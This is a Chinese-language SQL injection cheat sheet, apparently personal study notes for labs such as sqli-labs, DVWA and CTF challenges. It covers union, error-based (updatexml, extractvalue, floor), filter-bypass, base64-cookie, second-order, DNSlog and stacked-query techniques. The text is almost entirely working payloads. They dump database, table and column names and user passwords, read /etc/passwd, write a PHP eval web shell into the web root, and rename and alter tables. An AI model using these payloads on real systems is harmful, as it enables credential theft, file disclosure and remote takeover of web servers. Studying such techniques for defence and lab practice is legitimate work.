sql注入

一、union联合查询注入
-
常用函数
information_schema.tables #information_schema下面的所有表名 information_schema.columns #information_schema下面所有的列名 table_name #表名 column_name #列名 table_schema #数据库名
information_schema进行跨库攻击
# 查看当前数据库
?id=-1 union select 1,database() --+
-
1、获取到所有的数据库名称
?id=-2 union select 1,group_concat(schema_name),3 from information_schema.schemata--+
-
2、指定获取book库中的表名信息
?id=-2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='book'--+
-
3、获取指定数据库security下的users表的列名信息
?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'--+
-
4、查询到指定数据
?id=-2 union select book_id,book_title,book_author from book.book limit 0,1------z--+
?id=-1' union select 1,2,group_concat(username ,id , password) from users ------全部
文件读写函数注入
-
load_file 文件读取
into outfile 或into dumpfile 文件写入
-
?id=-2 union select 1,load_file('/etc/passwd'),3 -
?id=-2' union select 1,load_file('/var/www/html/flag.php'),3--+ -
?id=-2'union select 1,'<?php @eval($_POST["chuan"]);?>',3 into outfile '/var/www/html/chuan.php' --+
二、报错盲注
报错注入所利用函数
updatexml extractvalue floor
updatexml函数的基本语法:
updatexml(xml_document, XPath_string, new_value)
其中,xml_document是XML文档对象,XPath_string是Xpath路径表达式,new_value是更新后的内容。在报错注入中,我们通常将第一个和第三个参数设置为任意值,重点是通过第二个参数注入不符合Xpath语法的表达式,从而引起数据库报错,并通过错误信息获取数据。
extractvalue函数的基本语法:
extractvalue(xml_frag, xpath_expr)
其中,xml_frag是XML片段,xpath_expr是Xpath表达式。在报错注入中,通过提供一个无效的Xpath表达式,导致函数报错,从而获取数据。
floor()
用于返回小于或等于一个给定数字的最大整数。在SQL注入中,利用 floor() 函数可以构造报错注入。它通常和 group by 以及 count(*) 等函数一起使用来触发数据库报错,从而获取敏感信息。
报错语句
1' and extractvalue(1,concat(0x7e,(select group_concat(id,0x7e,username,0x3a,password) from security.users))) #
使用substring截断
?id=1' and extractvalue(1,concat(0x7e, (select substring((select group_concat(id,0x7e,flag) from ctf.flags),1,1000) )))--+
-
1、updatexml payload示例
1、爆数据库版本信息
k' and updatexml(1,concat(0x7e,(select version()),0x7e),1)%23
k写啥都可以,0x7e是16进制,表示字符‘~’。
selecty
2、爆数据库当前用户
?id=1" and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
3、爆数据库
*所有
?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e),1)--+
*当前
?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
4、爆表
?id=1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+
更改limit后面的数字limit 0完成表名遍历(即在查询网址上面修改来一个一个查看)。
使用group_concat(table_name)一次性查询出所有的表名
?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
5、获取users表的字段名
?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+
6、获取users表的内容
id=1" and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1)--+
-
2、extractvalue payload
payload
1' and extractvalue(1,concat(0x7e,user(),0x7e,database())) #
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) #
1' and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x3a,last_name) from dvwa.users))) #
-
3、floor函数
判断是否存在报错注入
id=1' union select #添加count(*)可以增加列数 count(*),floor(rand(0)*2) x from information_schema.schemata group by x#
爆出当前数据库名
id=1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x #
爆出表
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#
爆出字段名
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#
爆出user和password
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#
严格过滤
逻辑运算符,注释符以及空格
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0 爆表
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0 爆字段
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0 爆密码账户
三、其余注入
1、加解密注入
抓取cookie数据包
GET /Less-21/index.php HTTP/1.1
Host: 10.1.1.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://10.1.1.133/Less-21/index.php
Connection: close
Cookie: uname=YWRtaW4%3D
Upgrade-Insecure-Requests: 1
YWRtaW4%3D这是一个base64加密的字符串其中%3D是编码中的=符号,把他发送到编码模块当中解密,得到明文
发现这个是注入点需要将原来的注入方式重新加密发送给服务器
也就是说admin' and 1=1加密之后的值是YWRtaW4nIGFuZCAxPTE=
获取数据库名称admin' or updatexml(1,concat(0x7e,(database())),0) or '加密后cookie值Cookie: uname=YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChkYXRhYmFzZSgpKSksMCkgb3IgJwo=
2、二次注入
二次注入一般是用于白盒测试、黑盒测试就算是找到注入也没办法攻击。
最后我们看到的是将admin的账户密码修改为了123456而admin'#并没有发生改变,原因是代码执行的过程中将'#没有过滤直接带入执行导致'与前面的代码闭合而#将后面的代码给注释。
3、dnslog注入
涉及资源:http://ceye.io
参考资料:https://www.cnblogs.com/xhds/p/12322839.html
使用DnsLog盲注仅限于windos环境。
4、中转注入
-
中转一个网站,利用网站进行数据集中改变
5、堆叠查询注入
stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql 中,主要是命令行中,每一条语句结尾加;表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。
-
简单payload
-
http://10.1.1.133/Less-38/index.php?id=1 ';insert into users(id,username,password) values ( 39, 'less38 ', 'hello ')--+
-
-
查询数据库
-
1';show databases;--+
-
-
查表
-
?inject=1';show tables--+
-
-
查列
-
1'; show columns from `words`-- q
-
-
修改操作
-
1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE words CHANGE flag data VARCHAR(100);-- q
-














- 最新
- 最热
只看作者